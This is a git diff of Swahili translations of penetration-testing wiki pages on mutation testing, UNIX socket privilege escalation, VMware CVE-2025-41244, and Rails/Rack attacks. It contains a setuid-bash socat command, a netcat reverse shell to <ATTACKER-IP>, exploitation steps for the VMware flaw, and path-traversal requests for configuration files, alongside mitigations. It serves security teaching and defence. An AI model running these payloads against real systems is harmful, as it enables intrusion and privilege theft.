4) Ongeza invariants kwa fuzz tests.
|
||||
- Kwa mfano, uhifadhi wa thamani, salio zisizo hasi, invariants za idhini, supply monotonic pale inapofaa.
|
||||
- Mfano: conservation of value, non-negative balances, authorization invariants, monotonic supply pale inapofaa.
|
||||
|
||||
5) Rerun slither-mutate hadi mutanti waliobaki waondolewe au wathibitishwe wazi.
|
||||
5) Endelea kuendesha slither-mutate hadi survivors waangushwe au wawe wamekosewa kwa uwazi.
|
||||
|
||||
## Utafiti wa kesi: kufichua ukosefu wa uthibitisho wa hali (Arkis protocol)
|
||||
## Case study: kufichua kukosekana kwa state assertions (Arkis protocol)
|
||||
|
||||
Kampeni ya mutation wakati wa ukaguzi wa protokoli ya Arkis DeFi ilibaini mutanti waliobaki kama:
|
||||
Kampeni ya mutation wakati wa audit ya Arkis DeFi protocol ilibaini survivors kama:
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
Ku-comment out ugawaji hakukuvunja majaribio, ikathibitisha kukosekana kwa post-state assertions. Sababu ya msingi: msimbo uliamini `_cmd.value` inayoendeshwa na mtumiaji badala ya kuthibitisha uhamisho halisi wa tokeni. Mvamizi angeweza kusababisha kutolingana kati ya uhamisho uliotarajiwa na uhalisi ili kuchoma/mkamua fedha. Matokeo: hatari ya kiwango cha juu kwa uendelevu wa protocol.
|
||||
Ku-comment nje assignment hakukuangusha tests, ikathibitisha ukosefu wa post-state assertions. Chanzo cha msingi: msimbo uliamini `_cmd.value` inayodhibitiwa na mtumiaji badala ya kuthibitisha transfers halisi za tokeni. Mshambuliaji angeweza kusababisha kutofanana kati ya transfers zilizotarajiwa na transfers halisi ili kuchoma fedha. Matokeo: hatari ya kiwango cha juu kwa uendelevu wa protocol.
|
||||
|
||||
Miongozo: Chukulia mabaki yanayoathiri uhamisho wa thamani, uhasibu, au udhibiti wa upatikanaji kama hatari kubwa hadi yatakaposhindwa/kufutwa.
|
||||
Mwongozo: Chukulia mutants waliobaki ambao huathiri uhamishaji wa thamani, uhasibu, au udhibiti wa upatikanaji kama hatari kubwa hadi waangamizwe.
|
||||
|
||||
## Orodha ya vitendo
|
||||
|
||||
- Endesha kampeni iliyolengwa:
|
||||
- Endesha kampeni iliyolenga:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- Fanyia triage mabaki na andika tests/invariants zitakazoshindwa chini ya tabia iliyobadilishwa.
|
||||
- Thibitisha salio, ugavi, idhini, na matukio.
|
||||
- Ongeza mtihani wa mipaka (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- Badilisha mocks zisizo halisi;iga njia za kushindwa.
|
||||
- Rudia hadi mutants zote zimeshindikana/kufutwa (killed) au zimefafanuliwa kwa maoni na mantiki.
|
||||
- Fanya triage ya mutants waliobaki na andika tests/invariants ambazo zingeshindwa chini ya tabia iliyobadilishwa.
|
||||
- Thibitisha salio, supply, idhini, na matukio.
|
||||
- Ongeza boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- Badilisha mocks zisizo za kweli; iga njia za kushindwa.
|
||||
- Rudia hadi mutants wote waondolewe au wahakikishwe kwa maoni na mantiki.
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Mfano wa Socket binding na Python
|
||||
## Mfano wa socket binding kwa Python
|
||||
|
||||
Katika mfano ufuatao **unix socket imeundwa** (`/tmp/socket_test.s`) na kila kitu **kinachopokelewa** kitatekelezwa na `os.system`. Najua hautakutana na hili kwa urahisi katika mazingira halisi, lakini lengo la mfano huu ni kuona jinsi code inayotumia unix sockets inavyoonekana, na jinsi ya kudhibiti input katika hali mbaya kabisa inayowezekana.
|
||||
Katika mfano ufuatao **unix socket imeundwa** (`/tmp/socket_test.s`) na kila kitu **kinachopokelewa** kitatekelezwa na `os.system`. Ninajua kwamba hautaikuta hii katika mazingira ya kawaida, lakini lengo la mfano huu ni kuona jinsi code inayotumia unix sockets inavyoonekana, na jinsi ya kushughulikia input katika hali mbaya kabisa.
|
||||
```python:s.py
|
||||
import socket
|
||||
import os, os.path
|
||||
@ -26,7 +26,7 @@ print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
**Tekeleza** msimbo kwa kutumia python: `python s.py` na **angalia jinsi socket inavyosikiliza**:
|
||||
**Endesha** msimbo kwa kutumia python: `python s.py` na **angalia jinsi socket inavyosikiliza**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
@ -37,15 +37,15 @@ unix 2 [ ACC ] STREAM LISTENING 901181 132748/python
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
## Uchambuzi wa kesi: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
## Mfano wa kesi: Root-owned UNIX socket signal-triggered escalation (LG webOS)
|
||||
|
||||
Baadhi ya privileged daemons hutoa root-owned UNIX socket inayokubali untrusted input na kuunganisha vitendo vya privileged na thread-IDs na signals. Ikiwa protocol inaruhusu unprivileged client kuathiri ni native thread gani inalengwa, unaweza kuweza kusababisha privileged code path na escalate.
|
||||
Baadhi ya daemons zilizo na ruhusa za juu zinafunua root-owned UNIX socket inayokubali untrusted input na kuunganisha vitendo vilivyo na ruhusa kwa thread-IDs na signals. Ikiwa protocol inaruhusu client isiyo na ruhusa kuathiri thread gani native inalengwa, unaweza kuamsha code path yenye ruhusa na kupandisha hadhi.
|
||||
|
||||
Mfano ulioshuhudiwa:
|
||||
- Unganisha kwenye root-owned socket (mfano, /tmp/remotelogger).
|
||||
- Tengeneza thread na upate native thread id (TID).
|
||||
- Tuma TID (packed) pamoja na padding kama request; upokee acknowledgement.
|
||||
- Toa signal maalum kwa TID hiyo ili ku-trigger privileged behaviour.
|
||||
Observed pattern:
|
||||
- Ungana na root-owned socket (mfano: /tmp/remotelogger).
|
||||
- Unda thread na upate native thread id (TID).
|
||||
- Tuma TID (packed) pamoja na padding kama request; pokea acknowledgement.
|
||||
- Tuma signal maalum kwa TID hiyo ili kuamsha privileged behaviour.
|
||||
|
||||
Muhtasari mdogo wa PoC:
|
||||
```python
|
||||
@ -59,16 +59,16 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
|
||||
s.recv(4) # sync
|
||||
os.kill(tid, 4) # deliver SIGILL (example from the case)
|
||||
```
|
||||
Ili kuibadilisha kuwa root shell, muundo rahisi wa named-pipe + nc unaweza kutumika:
|
||||
Ili kuibadilisha hii kuwa root shell, muundo rahisi wa named-pipe + nc unaweza kutumika:
|
||||
```bash
|
||||
rm -f /tmp/f; mkfifo /tmp/f
|
||||
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
|
||||
```
|
||||
Vidokezo:
|
||||
- Aina hii ya mdudu hutokea kutokana na kuamini thamani zinazotokana na hali ya mteja isiyo na mamlaka (TIDs) na kuziunganisha kwa signal handlers au mantiki zenye ruhusa.
|
||||
- Imarisha kwa kusisitiza maelezo ya uthibitisho kwenye socket, kuthibitisha muundo wa ujumbe, na kutenganisha operesheni zenye ruhusa kutoka kwa vitambulisho vya thread vinavyotolewa kutoka nje.
|
||||
- Aina hii ya mdudu hutokana na kuamini thamani zinazotokana na hali ya mteja isiyo na ruhusa (TIDs) na kuziweka kwenye vishughulizi vya ishara au mantiki zilizo na ruhusa.
|
||||
- Imarisha kwa kuweka uthibitisho kwenye socket, kuthibitisha miundo ya ujumbe, na kutenganisha operesheni zenye ruhusa kutoka kwa vitambulisho vya thread vinavyotolewa kutoka nje.
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
|
||||
|
||||
|
@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Mbinu hii inatumia pipelines za ugundaji huduma zinazotegemea regex ambazo huchambua mistari ya amri ya michakato inayofanya kazi ili kubaini toleo la service kisha kutekeleza binary inayoweza kuwa mgombea kwa flag ya "version". Wakati pattern zilizo permissive zinakubali njia zisizo salama, zinazoendeshwa na mshambuliaji (kwa mfano, /tmp/httpd), collector yenye haki za juu hutekeleza binary yoyote kutoka kwenye eneo lisilo salama, ikitoa escalation ya ruhusa ya ndani. NVISO ilidokeza hili katika VMware Tools/Aria Operations Service Discovery kama CVE-2025-41244.
|
||||
Teknika hii inatumia pipelines za regex-driven service discovery ambazo huchambua mistari ya amri ya michakato inayokimbia ili kubaini matoleo ya huduma, kisha kutekeleza binary inayowezekana na bendera ya "version". Wakati patterns zenye kuruhusu zinakubali njia zisizotegemewa na zinazosimamiwa na mshambuliaji (mfano, /tmp/httpd), collector mwenye ruhusa hutoa utekelezaji wa binary yoyote kutoka eneo lisilo la kuaminika, na kusababisha local privilege escalation. NVISO ilidocument hii katika VMware Tools/Aria Operations Service Discovery kama CVE-2025-41244.
|
||||
|
||||
- Impact: Local privilege escalation to root (or to the privileged discovery account)
|
||||
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
- Athari: Kuongezeka kwa mamlaka ya ndani hadi root (au hadi akaunti ya ugunduzi yenye ruhusa)
|
||||
- Chanzo cha msingi: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
|
||||
- Waliathiriwa: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||
|
||||
## How VMware service discovery works (high level)
|
||||
## Jinsi VMware service discovery inavyofanya kazi (kwa ujumla)
|
||||
|
||||
- Credential-based (legacy): Aria inatekeleza script za discovery ndani ya guest kupitia VMware Tools kwa kutumia credentials za privilegi zilizo konfigurishwa.
|
||||
- Credential-less (modern): Logic ya discovery inaendeshwa ndani ya VMware Tools, tayari ikiwa na haki za juu ndani ya guest.
|
||||
- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
|
||||
- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
|
||||
|
||||
Viwendo vyote vinakimbia mantiki ya shell inayoscan processes zenye sockets za kusikiliza, inachota njia ya command inayofanana kupitia regex, na kisha inatekeleza argv token ya kwanza kwa flag ya version.
|
||||
Njia zote mbili hatimaye zinaendesha mantiki ya shell inayosaka michakato yenye listening sockets, hutoka njia ya amri inayolingana kupitia regex, na kutekeleza tokeni ya kwanza ya argv kwa bendera ya "version".
|
||||
|
||||
## Root cause and vulnerable pattern (open-vm-tools)
|
||||
## Chanzo cha msingi na muundo ulio hatarini (open-vm-tools)
|
||||
|
||||
Katika open-vm-tools, script ya plugin ya serviceDiscovery get-versions.sh inalinganisha candidate binaries kwa kutumia regular expressions pana na inatekeleza argv token ya kwanza bila uthibitisho wowote wa trusted-path:
|
||||
Katika open-vm-tools, script ya plugin serviceDiscovery get-versions.sh inafananisha candidate binaries kwa kutumia broad regular expressions na inatekeleza tokeni ya kwanza bila ukaguzi wowote wa trusted-path:
|
||||
```bash
|
||||
get_version() {
|
||||
PATTERN=$1
|
||||
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||
done
|
||||
}
|
||||
```
|
||||
Inaitwa kwa patterns zenye uvumilivu zinazojumuisha \S (isiyo-blanki) ambazo zitafanana kwa urahisi na njia zisizo za mfumo katika maeneo yanayoweza kuandikwa na mtumiaji:
|
||||
Inaitishwa kwa miundo ya kuruhusu inayojumuisha \S (si tabia ya nafasi) ambazo zitalingana kwa urahisi na njia zisizo za mfumo katika maeneo yanayoweza kuandikwa na mtumiaji:
|
||||
```bash
|
||||
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||
@ -38,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v
|
||||
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||
get_version "/\S+/dataserver($|\s)" -v
|
||||
```
|
||||
- Utoaji unatumia grep -Eo na inachukua tokeni ya kwanza: ${COMMAND%%[[:space:]]*}
|
||||
- Hakuna whitelist/allowlist ya njia za mfumo zilizoaminika; listener yoyote iliyogunduliwa yenye jina linalolingana hufanywa execute na -v/--version
|
||||
- Uchimbaji hutumia grep -Eo na huchukua token ya kwanza: ${COMMAND%%[[:space:]]*}
|
||||
- Hakuna whitelist/allowlist ya trusted system paths; msikilizaji yeyote aliyegunduliwa mwenye jina linalolingana hufanywa kwa kutumia -v/--version
|
||||
|
||||
Hili linaunda primitive ya utekelezaji kupitia untrusted search path: binaries yoyote iliyoko katika world-writable directories (mf., /tmp/httpd) hufanywa execute na sehemu yenye ruhusa za juu.
|
||||
Hii inaunda primitive ya untrusted search path execution: binaries yoyote iliyowekwa katika directories zinazoweza kuandikwa na wote (kwa mfano, /tmp/httpd) inatekelezwa na component yenye ruhusa.
|
||||
|
||||
## Utekelezaji (hali zote bila cheti na kwa kutumia cheti)
|
||||
## Exploitation (both credential-less and credential-based modes)
|
||||
|
||||
Preconditions
|
||||
- Unaweza kuendesha mchakato usio na ruhusa ambao unafungua listening socket kwenye guest.
|
||||
- Discovery job imewezeshwa na inaendeshwa kwa vipindi (kwa kihistoria ~dakika 5).
|
||||
- Discovery job imewezeshwa na huendesha mara kwa mara (kibaagini ~dakika 5).
|
||||
|
||||
Steps
|
||||
1) Weka binary katika njia inayolingana na moja ya permissive regexes, mf., /tmp/httpd au ./nginx
|
||||
2) Iendeshe kama mtumiaji mwenye ruhusa ndogo na hakikisha inafungua listening socket yoyote
|
||||
3) Subiri mzunguko wa discovery; privileged collector itaendesha moja kwa moja: /tmp/httpd -v (au sawa), ikiwasha programu yako kama root
|
||||
1) Weka binary katika path inayolingana na moja ya permissive regexes, kwa mfano /tmp/httpd au ./nginx
|
||||
2) Endesha kama mtumiaji mwenye ruhusa ndogo na hakikisha inafungua listening socket yoyote
|
||||
3) Subiri mzunguko wa discovery; collector mwenye ruhusa atatekeleza moja kwa moja: /tmp/httpd -v (au sawa), akiendesha programu yako kama root
|
||||
|
||||
Minimal demo (ikitumia mbinu ya NVISO)
|
||||
Minimal demo (using NVISO’s approach)
|
||||
```bash
|
||||
# Build any small helper that:
|
||||
# - default mode: opens a dummy TCP listener
|
||||
@ -69,57 +69,57 @@ Mfuatano wa kawaida wa mchakato
|
||||
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||
|
||||
Vibaki (credential-based)
|
||||
Scripts za wrapper za SDMP zilizopatikana chini ya /tmp/VMware-SDMP-Scripts-{UUID}/ zinaweza kuonyesha utekelezaji wa moja kwa moja wa njia isiyo ya kawaida:
|
||||
Viashiria (credential-based)
|
||||
SDMP wrapper scripts zilizopatikana chini ya /tmp/VMware-SDMP-Scripts-{UUID}/ zinaweza kuonyesha utekelezaji wa moja kwa moja wa rogue path:
|
||||
```bash
|
||||
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||
```
|
||||
## Kuiboresha mbinu: regex-driven discovery abuse (portable pattern)
|
||||
## Kupanua mbinu: regex-driven discovery abuse (portable pattern)
|
||||
|
||||
Wakala wengi na suites za ufuatiliaji hufanya ugundaji wa toleo/huduma kwa:
|
||||
- Kuorodhesha michakato yenye sockets za kusikiliza
|
||||
- Kufanya grep kwenye argv/line za amri kwa regex zenye uvumilivu (mfano, patterns zenye \S)
|
||||
- Kutekeleza njia iliyoendana na hiyo kwa bendera isiyokuwa hatari kama -v, --version, -V, -h
|
||||
Wakala wengi na suites za monitoring huteekeleza discovery ya version/service kwa:
|
||||
- Kuorodhesha processes zilizo na listening sockets
|
||||
- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
|
||||
- Kuendesha njia iliyopatikana na bendera isiyo hatari kama -v, --version, -V, -h
|
||||
|
||||
Ikiwa regex inakubali njia zisizo salama na njia hiyo inatekelezwa kutoka kwa muktadha wa mamlaka, utapata CWE-426 Untrusted Search Path execution.
|
||||
Ikiwa regex inakubali njia zisizotegemewa na njia hiyo inaendeshwa kutoka muktadha wenye vibali, unapata CWE-426 Untrusted Search Path execution.
|
||||
|
||||
Mwongozo wa matumizi mabaya
|
||||
- Jina binary yako kama daemons za kawaida ambazo regex inaweza kuzipata: httpd, nginx, mysqld, dataserver
|
||||
- Iweka kwenye directory inayoweza kuandikwa: /tmp/httpd, ./nginx
|
||||
- Hakikisha inafanana na regex na inafungua bandari yoyote itakayoorodheshwa
|
||||
- Subiri collector iliyopangwa; utapata uanzishaji wa kiotomatiki wa <path> -v kwa nafasi za juu
|
||||
Mapishi ya matumizi mabaya
|
||||
- Ipe binary yako jina la daemons za kawaida ambazo regex ina uwezekano wa kuoanisha: httpd, nginx, mysqld, dataserver
|
||||
- Iweke katika directory inayoweza kuandikwa: /tmp/httpd, ./nginx
|
||||
- Hakikisha inalingana na regex na inafungua bandari yoyote ili ikorodheshwe
|
||||
- Subiri collector iliyopangwa; utapata uanzishaji wa kibinafsi wa moja kwa moja wa <path> -v
|
||||
|
||||
Masquerading note: Hii inaendana na MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) ili kuongeza uwezekano wa kufanana na kupunguza kugunduliwa.
|
||||
Kumbuka kuhusu uigaji: Hii inaendana na MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) ili kuongeza uwezekano wa kuoanisha na utundu.
|
||||
|
||||
Reusable privileged I/O relay trick
|
||||
- Jenga helper yako ili wakati inapoanzishwa kwa hadhi ya juu (-v/--version) iungane na rendezvous inayojulikana (mfano, Linux abstract UNIX socket kama @cve) na iunganishe stdio na /bin/sh -i. Hii inazuia artifacts zilizo kwenye diski na inafanya kazi katika mazingira mengi ambapo binary ile ile inarudiwa na bendera.
|
||||
Njia ya I/O relay yenye vibali inayoweza kutumiwa tena
|
||||
- Tengeneza msaidizi wako ili wakati wa uanzishaji wenye vibali (-v/--version) uunganishe kwenye sehemu ya kukutana inayojulikana (kwa mfano, Linux abstract UNIX socket kama @cve) na kuunganisha stdio na /bin/sh -i. Hii inaepuka artefakti za diski na inafanya kazi katika mazingira mengi ambamo binary ile ile inaendeshwa tena na bendera.
|
||||
|
||||
## Ugunduzi na mwongozo wa DFIR
|
||||
## Detection and DFIR guidance
|
||||
|
||||
Maswali ya ufuatiliaji
|
||||
Maswali ya kuwinda
|
||||
- Watoto wasio wa kawaida wa vmtoolsd au get-versions.sh kama /tmp/httpd, ./nginx, /tmp/mysqld
|
||||
- Utekelezaji wowote wa njia za absolute zisizo za system na scripts za discovery (angalia nafasi katika expansions za ${COMMAND%%...})
|
||||
- ps -ef --forest kwa kuona miti ya asili: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
- Utekelezaji wowote wa non-system absolute paths na discovery scripts (angalia nafasi katika ${COMMAND%%...} expansions)
|
||||
- ps -ef --forest ili kuona miti ya urithi: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||
|
||||
Katika Aria SDMP (credential-based)
|
||||
- Kagua /tmp/VMware-SDMP-Scripts-{UUID}/ kwa scripts za muda na artifacts za stdout/stderr zinazoonyesha utekelezaji wa njia za mshambuliaji
|
||||
Kwenye Aria SDMP (credential-based)
|
||||
- Kagua /tmp/VMware-SDMP-Scripts-{UUID}/ kwa scripts za muda na artefakti za stdout/stderr zinaonyesha utekelezaji wa njia za mshambuliaji
|
||||
|
||||
Sera/telemetri
|
||||
- Onyesha tahadhari wakati collectors wenye mamlaka wanaanzisha kutoka viongozo visivyo vya system: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- Ufuatiliaji wa uadilifu wa faili kwenye get-versions.sh na VMware Tools plugins
|
||||
Sera/telemetry
|
||||
- Toa onyo wakati privileged collectors zinaendesha kutoka non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
|
||||
- File integrity monitoring on get-versions.sh and VMware Tools plugins
|
||||
|
||||
## Kupunguza madhara
|
||||
## Mitigations
|
||||
|
||||
- Sasisha: Tumia updates za Broadcom/VMware kwa CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||
- Zima au zuia ugundaji usio na nyaraka inapowezekana
|
||||
- Thibitisha njia za kuaminika: zuia utekelezaji kwa directories zilizo kwenye allowlist (/usr/sbin, /usr/bin, /sbin, /bin) na tu binaries zilizoeleweka kwa usahihi
|
||||
- Epuka regex zenye uvumilivu zenye \S; chagua paths za absolute zilizo wazi na majina ya amri yaliyosanidiwa (anchored, explicit)
|
||||
- Punguza mamlaka kwa discovery helpers pale inapowezekana; tumia sandbox (seccomp/AppArmor) kupunguza athari
|
||||
- Fuatilia na onya kuhusu vmtoolsd/get-versions.sh zinapoendesha paths zisizo za system
|
||||
- Sahihisha: Tumia masasisho ya Broadcom/VMware kwa CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||
- Zima au punguza discovery isiyo na credentials pale inavyowezekana
|
||||
- Thibitisha trusted paths: punguza utekelezaji kwa directories zilizoorodheshwa (/usr/sbin, /usr/bin, /sbin, /bin) na tu binaries zilizoeleweka kwa usahihi
|
||||
- Epuka regex zinazoruhusu \S; tumia absolute paths zilizoambatishwa na majina kamili ya amri
|
||||
- Punguza vibali kwa discovery helpers pale inapowezekana; sandbox (seccomp/AppArmor) kupunguza athari
|
||||
- Kagua na toa onyo juu ya vmtoolsd/get-versions.sh ikitenda njia zisizo za-system
|
||||
|
||||
## Vidokezo kwa walinda na watekelezaji
|
||||
## Notes for defenders and implementers
|
||||
|
||||
Mfumo salama zaidi wa mechi na utekelezaji
|
||||
Muundo salama wa kuoanisha na utekelezaji
|
||||
```bash
|
||||
# Bad: permissive regex and blind exec
|
||||
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||
@ -135,10 +135,10 @@ case "$candidate" in
|
||||
;;
|
||||
esac
|
||||
```
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [NVISO – Uitaje, VMware huinua (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||
- [Broadcom – Taarifa kuhusu CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||
|
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kupakia faili kwa RCE
|
||||
## Kupakia faili hadi RCE
|
||||
|
||||
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||||
Kama ilivyoelezwa katika [this article](https://www.offsec.com/blog/cve-2024-46986/), kupakia faili `.rb` ndani ya saraka nyeti kama `config/initializers/` kunaweza kusababisha remote code execution (RCE) katika maombi ya Ruby on Rails.
|
||||
|
||||
Vidokezo:
|
||||
- Mahali mengine ya boot/eager-load yanayotekelezwa wakati app inapoanza pia ni hatari endapo yanaweza kuandikwa (kwa mfano, `config/initializers/` ni mfano wa kawaida). Ikiwa utapata upload ya faili yoyote inayowekwa mahali popote chini ya `config/` na baadaye ikafanyiwa evaluate/required, unaweza kupata RCE wakati wa boot.
|
||||
- Tafuta dev/staging builds zinazokopi faili zinazoendeshwa na mtumiaji ndani ya container image ambako Rails itazi-load wakati wa boot.
|
||||
- Mahali pengine pa boot/eager-load zinazotekelezwa wakati maombi yanapoanzishwa pia ni hatari ikiwa yanaweza kuandikwa (mfano, `config/initializers/` ndio klasy). Ukiweza kupata upload ya faili yoyote inayowekwa chini ya `config/` na baadaye kuathiriwa/evaluated/required, unaweza kupata RCE wakati wa boot.
|
||||
- Tafuta builds za dev/staging ambazo zinakopa faili zilizo under udhibiti wa mtumiaji katika container image ambapo Rails itawa-load wakati wa boot.
|
||||
|
||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||
|
||||
When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
|
||||
Wakati app inatumia Active Storage pamoja na `image_processing` + `mini_magick`, na inapitia parameters zisizo za kuaminika kwa methods za image transformation, matoleo ya Rails kabla ya 7.1.5.2 / 7.2.2.2 / 8.0.2.1 yanaweza kuruhusu command injection kwa sababu baadhi ya transformation methods ziliorodheshwa kwa makosa kama default.
|
||||
|
||||
- A vulnerable pattern looks like:
|
||||
```erb
|
||||
@ -20,30 +20,30 @@ When an application uses Active Storage with `image_processing` + `mini_magick`,
|
||||
```
|
||||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||||
|
||||
- What to try during testing
|
||||
- Tambua endpoints yoyote inayokubali variant/processing options, transformation names, au ImageMagick arguments yoyote.
|
||||
- Fuzz `params[:t]` na `params[:v]` kwa makosa au athari za utekelezaji zinazoshangaza. Ikiwa unaweza kuathiri jina la method au kupitisha raw arguments zinazofika MiniMagick, unaweza kupata code exec kwenye host ya image processor.
|
||||
- Ikiwa una read-access pekee kwa variants zilizozalishwa, jaribu blind exfiltration kupitia ImageMagick operations zilizotengenezwa maalum.
|
||||
- Mambo ya kujaribu wakati wa upimaji
|
||||
- Tambua endpoints zinazoepuka variant/processing options, transformation names, au ImageMagick arguments yoyote.
|
||||
- Fuzz `params[:t]` na `params[:v]` kwa makosa yanayoshuka shaka au side-effects za execution. Ikiwa unaweza kuathiri jina la method au kupitisha raw arguments zinazofika MiniMagick, unaweza kupata code exec kwenye host ya image processor.
|
||||
- Ikiwa una access ya kusoma tu kwa generated variants, jaribu blind exfiltration kupitia ImageMagick operations zilizotengenezwa kwa madhumuni hayo.
|
||||
|
||||
- Remediation/detections
|
||||
- Ikiwa unaona Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 pamoja na Active Storage + `image_processing` + `mini_magick` na transformations zinazoendeshwa na mtumiaji, zingatia kuwa zinatumiwa. Pendekeza upgrade na kutekeleza allowlists kali kwa methods/params pamoja na sera ya ImageMagick iliyoboreshwa.
|
||||
- Utatuzi/ugunduzi
|
||||
- Ikiwa unaona Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 na Active Storage + `image_processing` + `mini_magick` na transformations zilizo under control ya mtumiaji, zingatia kuwa inaweza kutumika. Pendekeza kusasisha na kutekeleza allowlists kali kwa methods/params na sera ya ImageMagick iliyo hardened.
|
||||
|
||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||
|
||||
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
|
||||
Ikiwa stack ya lengo inatumia Rack middleware moja kwa moja au kupitia frameworks, matoleo ya `rack` kabla ya 2.2.13, 3.0.14, na 3.1.12 yaruhusu Local File Inclusion kupitia `Rack::Static` wakati `:root` haijatengwa/imeconfigured vibaya. Encoded traversal katika `PATH_INFO` inaweza kufichua faili chini ya process working directory au root isiyotarajiwa.
|
||||
|
||||
- Tafuta apps zinazoweka `Rack::Static` ndani ya `config.ru` au kwenye middleware stacks. Jaribu encoded traversals dhidi ya static paths, kwa mfano:
|
||||
- Tafuta apps zinazo-mount `Rack::Static` katika `config.ru` au middleware stacks. Jaribu encoded traversals dhidi ya static paths, kwa mfano:
|
||||
```text
|
||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||
GET /favicon.ico/..%2f..%2f.env
|
||||
```
|
||||
Rekebisha prefix ili iendane na `urls:` iliyosanidiwa. Ikiwa app inajibu na yaliyomo ya faili, inawezekana una LFI kwa chochote chini ya `:root` iliyotatuliwa.
|
